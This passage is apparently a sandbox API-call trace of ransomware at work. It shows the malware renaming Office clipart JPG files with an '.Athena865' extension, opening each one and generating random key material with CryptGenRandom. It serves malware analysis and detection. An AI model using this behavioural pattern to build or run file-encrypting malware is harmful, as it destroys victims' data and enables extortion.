Office\\CLIPART\\PUB60COR\\J0382942.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382942.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382942.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382942.jpg.athena865"), dwFlags=0x1) returned 1 [0130.856] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382942.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382942.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0130.856] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=91450) returned 1 [0130.856] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0130.856] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0130.856] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0130.856] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0130.857] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0130.857] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0130.862] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0130.863] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0130.863] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0130.864] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0382944.JPG" | out: lpString1="J0382944.JPG") returned="J0382944.JPG" [0130.864] lstrlenW (lpString="J0382944.JPG") returned 12 [0130.864] lstrlenW (lpString="Athena865") returned 9 [0130.864] lstrcmpiW (lpString1="82944.JPG", lpString2="Athena865") returned -1 [0130.864] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382944.JPG.Athena865") returned 73 [0130.865] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382944.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382944.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382944.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382944.jpg.athena865"), dwFlags=0x1) returned 1 [0130.866] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382944.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382944.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0130.866] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=81437) returned 1 [0130.866] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0130.866] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0130.866] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0130.866] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0130.867] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0130.867] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0130.872] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0130.873] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0130.873] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0130.874] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0382947.JPG" | out: lpString1="J0382947.JPG") returned="J0382947.JPG" [0130.874] lstrlenW (lpString="J0382947.JPG") returned 12 [0130.874] lstrlenW (lpString="Athena865") returned 9 [0130.874] lstrcmpiW (lpString1="82947.JPG", lpString2="Athena865") returned -1 [0130.874] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382947.JPG.Athena865") returned 73 [0130.874] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382947.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382947.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382947.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382947.jpg.athena865"), dwFlags=0x1) returned 1 [0130.876] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382947.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382947.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0130.876] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=86812) returned 1 [0130.876] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0130.876] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0130.876] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0130.877] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0130.877] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0130.881] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0130.882] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0130.882] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0130.884] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0382948.JPG" | out: lpString1="J0382948.JPG") returned="J0382948.JPG" [0130.884] lstrlenW (lpString="J0382948.JPG") returned 12 [0130.884] lstrlenW (lpString="Athena865") returned 9 [0130.884] lstrcmpiW (lpString1="82948.JPG", lpString2="Athena865") returned -1 [0130.884] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382948.JPG.Athena865") returned 73 [0130.884] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382948.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382948.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382948.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382948.jpg.athena865"), dwFlags=0x1) returned 1 [0130.885] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382948.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382948.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0130.885] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=109879) returned 1 [0130.886] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0130.886] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0130.886] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0130.892] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0130.893] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0130.893] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0130.895] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0382950.JPG" | out: lpString1="J0382950.JPG") returned="J0382950.JPG" [0130.895] lstrlenW (lpString="J0382950.JPG") returned 12 [0130.895] lstrlenW (lpString="Athena865") returned 9 [0130.895] lstrcmpiW (lpString1="82950.JPG", lpString2="Athena865") returned -1 [0130.895] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382950.JPG.Athena865") returned 73 [0130.895] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382950.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382950.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382950.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382950.jpg.athena865"), dwFlags=0x1) returned 1 [0130.897] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382950.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382950.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0130.897] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=96466) returned 1 [0130.897] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0130.898] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0130.898] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0130.902] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0130.903] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0130.903] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0130.905] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0382952.JPG" | out: lpString1="J0382952.JPG") returned="J0382952.JPG" [0130.905] lstrlenW (lpString="J0382952.JPG") returned 12 [0130.905] lstrlenW (lpString="Athena865") returned 9 [0130.905] lstrcmpiW (lpString1="82952.JPG", lpString2="Athena865") returned -1 [0130.905] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382952.JPG.Athena865") returned 73 [0130.905] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382952.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382952.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382952.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382952.jpg.athena865"), dwFlags=0x1) returned 1 [0130.906] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382952.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382952.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0130.906] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=96073) returned 1 [0130.906] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0130.907] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0130.907] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0130.912] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0130.912] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0130.912] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0130.914] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0382954.JPG" | out: lpString1="J0382954.JPG") returned="J0382954.JPG" [0130.914] lstrlenW (lpString="J0382954.JPG") returned 12 [0130.914] lstrlenW (lpString="Athena865") returned 9 [0130.914] lstrcmpiW (lpString1="82954.JPG", lpString2="Athena865") returned -1 [0130.914] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382954.JPG.Athena865") returned 73 [0130.914] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382954.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382954.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382954.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382954.jpg.athena865"), dwFlags=0x1) returned 1 [0130.915] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382954.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382954.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0130.916] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=88703) returned 1 [0130.916] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0130.916] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0130.916] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0130.921] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0130.922] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0130.922] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0130.923] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0382955.JPG" | out: lpString1="J0382955.JPG") returned="J0382955.JPG" [0130.923] lstrlenW (lpString="J0382955.JPG") returned 12 [0130.924] lstrlenW (lpString="Athena865") returned 9 [0130.924] lstrcmpiW (lpString1="82955.JPG", lpString2="Athena865") returned -1 [0130.924] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382955.JPG.Athena865") returned 73 [0130.924] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382955.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382955.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382955.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382955.jpg.athena865"), dwFlags=0x1) returned 1 [0130.925] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382955.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382955.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0130.925] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=90095) returned 1 [0130.925] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0130.926] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0130.926] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0130.931] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0130.932] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0130.932] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0130.934] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0382957.JPG" | out: lpString1="J0382957.JPG") returned="J0382957.JPG" [0130.934] lstrlenW (lpString="J0382957.JPG") returned 12 [0130.934] lstrlenW (lpString="Athena865") returned 9 [0130.934] lstrcmpiW (lpString1="82957.JPG", lpString2="Athena865") returned -1 [0130.934] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382957.JPG.Athena865") returned 73 [0130.934] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382957.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382957.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382957.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382957.jpg.athena865"), dwFlags=0x1) returned 1 [0130.935] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382957.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382957.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0130.935] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=109037) returned 1 [0130.935] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0130.936] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0130.936] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0130.944] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0130.944] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0130.944] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0130.946] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0382958.JPG" | out: lpString1="J0382958.JPG") returned="J0382958.JPG" [0130.946] lstrlenW (lpString="J0382958.JPG") returned 12 [0130.946] lstrlenW (lpString="Athena865") returned 9 [0130.946] lstrcmpiW (lpString1="82958.JPG", lpString2="Athena865") returned -1 [0130.946] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382958.JPG.Athena865") returned 73 [0130.946] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382958.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382958.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382958.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382958.jpg.athena865"), dwFlags=0x1) returned 1 [0130.948] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382958.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382958.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0130.948] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=103399) returned 1 [0130.948] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0130.956] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0130.956] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0130.963] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0130.964] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0130.964] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0130.965] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0382959.JPG" | out: lpString1="J0382959.JPG") returned="J0382959.JPG" [0130.965] lstrlenW (lpString="J0382959.JPG") returned 12 [0130.965] lstrlenW (lpString="Athena865") returned 9 [0130.966] lstrcmpiW (lpString1="82959.JPG", lpString2="Athena865") returned -1 [0130.966] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382959.JPG.Athena865") returned 73 [0130.966] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382959.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382959.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382959.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382959.jpg.athena865"), dwFlags=0x1) returned 1 [0130.968] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382959.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382959.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0130.969] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=85898) returned 1 [0130.969] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0130.969] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0130.969] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0130.980] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0130.981] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0130.981] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0130.982] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0382960.JPG" | out: lpString1="J0382960.JPG") returned="J0382960.JPG" [0130.982] lstrlenW (lpString="J0382960.JPG") returned 12 [0130.983] lstrlenW (lpString="Athena865") returned 9 [0130.983] lstrcmpiW (lpString1="82960.JPG", lpString2="Athena865") returned -1 [0130.983] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382960.JPG.Athena865") returned 73 [0130.983] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382960.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382960.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382960.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382960.jpg.athena865"), dwFlags=0x1) returned 1 [0130.985] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382960.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382960.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0130.985] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=107508) returned 1 [0130.985] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0130.986] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0130.986] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0130.993] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0130.994] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0130.994] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0130.996] lstrcpyW (in: lpString1=0x241e8ae, lpString2="J0382961.JPG" | out: lpString1="J0382961.JPG") returned="J0382961.JPG" [0130.996] lstrlenW (lpString="J0382961.JPG") returned 12 [0130.996] lstrlenW (lpString="Athena865") returned 9 [0130.996] lstrcmpiW (lpString1="82961.JPG", lpString2="Athena865") returned -1 [0130.996] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382961.JPG.Athena865") returned 73 [0130.996] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382961.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382961.jpg"), lpNewFileName="C:\\Program Files\\Microsoft 